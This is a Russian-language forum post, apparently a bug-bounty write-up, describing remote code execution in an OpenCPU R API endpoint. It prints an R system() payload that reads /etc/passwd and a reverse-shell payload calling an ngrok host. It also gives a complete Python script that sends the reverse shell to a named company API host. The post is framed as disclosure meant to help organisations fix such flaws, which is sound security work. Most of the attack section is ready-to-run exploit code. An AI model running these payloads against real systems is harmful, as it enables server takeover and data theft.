Как я нашел RCE уязвимость в API-эндпоинте

Добро пожаловать на наш форум!

Спасибо за посещение нашего сообщества. Пожалуйста, зарегистрируйтесь или войдите, чтобы получить доступ ко всем функциям.


Gibby

Автор
Команда проекта

Регистрация
Сообщений
1,635
Репутация
45
Сделок
За время моего пути в баг-баунти я сталкивался с различными интересными уязвимостями, но эта превзошла их все — уязвимость удаленного выполнения кода (RCE) в API-эндпоинте на языке R. Проэксплуатировав ее, мне удалось получить доступ к важным системным файлам и даже установить reverse shell на сервере. Эта статья написана для облегчения понимания процесса.

1.png

— — — -+ + — — — — — — — -+ + — — — — — — — — -+ + — — — — — — — +
| User | — → | Vulnerable API| — → | OpenCPU Server | — → | Server Response |
+ — — — -+ + — — — — — — — -+ + — — — — — — — — -+ + — — — — — — — +

Уязвимость

Во время тестирования приложения я обнаружил API, который позволял пользователям исполнять код на R:


Идея этого эндпоинта казалась весьма простой: пользователи могли динамически запускать функции на R. Однако меня насторожило то, что он, похоже, не проверял и не ограничивал тип кода на R, который мог быть выполнен. Это создавало потенциальную возможность для эксплуатации.

2.png

После нескольких тестирований я создал полезную нагрузку, которая эксплуатировала данный эндпоинт для выполнения произвольных команд через функцию system() языка R.


Начальный этап: Тестирование доступа к файлам

Первое, что пришло мне в голову, — проверить, может ли API выполнять команды. Моя цель? Прочитать файл /etc/passwd, часто используемый для подтверждения несанкционированного доступа к файлам.

Вот нагрузка, которую я разработал:

Код:
reverse_shell_payload = f"function(x) {{ return(system(paste('cat /etc/passwd'), intern = TRUE)) }}"

Она использует функцию system языка R для выполнения команды cat /etc/passwd на сервере. Я обернул её в функцию R, чтобы она соответствовала ожидаемому формату ввода API.

Для проверки я написал Python-скрипт, отправляющий POST-запрос к API:

6.png


3.png


Когда я запустил скрипт, бам — сервер ответил содержимым файла /etc/passwd. Это подтвердило, что API уязвим к RCE!


Следующий этап: создание обратного шелла

Чтение файлов — это одно дело, но, чтобы показать полный масштаб данной уязвимости, я решил установить reverse shell. Что позволило бы мне удалённо управлять сервером.

Вот полезная нагрузка, которую я использовал:

Код:
reverse_shell_payload = f"function(x) {{ return(system(paste('bash -c \"bash -i >& /dev/tcp/0.tcp.in.ngrok.io/13018 0>&1\"'), intern = TRUE)) }}"

Эта команда использует bash для обратного соединения со мной. Я настроил прослушиватель с помощью ngrok, что упростило задачу по открытию локального порта в интернет.

4.png

Python-скрипт выглядит следующим образом:

Python:
import requests
import re
import ssl

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()

# Define BaseURL
BaseURL = "https://statistics-api.sonova.com"

# Construct the full payload to establish a reverse shell connection
reverse_shell_payload = f"function(x) {{ return(system(paste('bash -c \"bash -i >& /dev/tcp/0.tcp.in.ngrok.io/13018 0>&1\"'), intern = TRUE)) }}"  # please replace with your ngrok link

# Define the URL
url = f"{BaseURL}/ocpu/library/base/R/do.call/json"

# Define headers
headers = {
    "Content-Type": "application/x-www-form-urlencoded",
}

# Define payload data
data = {
    "what": reverse_shell_payload,
    "args": "{}",
}

# Send the request
response = requests.post(url, headers=headers, data=data, verify=False)

# Check the response
if response.status_code == 201:
    print("Reverse shell executed successfully.")
else:
    print("Failed to execute reverse shell. Status code:", response.status_code)

5.png

После запуска скрипта я мог полностью контролировать сервер, свободно перемещаться по директориям и иметь доступ к различным файлам.


Заключение

Этот случай является хорошим примером: API, которые позволяют динамически выполнять код, могут быть крайне опасны, если они не защищены должным образом. Как охотники за уязвимостями, мы должны не только находить такие уязвимости, но и помогать организациям их исправить до того, как ими воспользуются злоумышленники. Надеюсь, эта история вдохновит вас на более глубокое исследование тестируемых API.
 
Сверху